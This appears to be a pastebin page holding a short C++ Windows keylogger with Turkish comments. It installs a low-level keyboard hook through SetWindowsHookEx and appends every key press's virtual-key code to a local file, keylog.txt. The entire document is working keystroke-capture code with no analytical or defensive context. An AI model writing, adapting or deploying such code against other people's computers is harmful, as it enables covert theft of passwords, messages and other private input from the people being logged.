Untitled
unknown
plain_text
2 years ago
1.2 kB
5
Indexable
#include <iostream> #include <fstream> #include <Windows.h> LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0) { if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { KBDLLHOOKSTRUCT* kbdStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam); DWORD vkCode = kbdStruct->vkCode; // Tuş vuruşunu kaydetmek için istediğiniz işlemleri burada yapabilirsiniz. // Örneğin, bir dosyaya yazabilir veya veritabanına kaydedebilirsiniz. std::ofstream logFile("keylog.txt", std::ios::app); if (logFile) { logFile << vkCode << std::endl; logFile.close(); } } } return CallNextHookEx(nullptr, nCode, wParam, lParam); } int main() { HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(nullptr), 0); if (!hook) { std::cout << "Hata: Klavye kancası kurulamadı!" << std::endl; return 1; } MSG msg; while (GetMessage(&msg, nullptr, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } UnhookWindowsHookEx(hook); return 0; }
Editor is loading...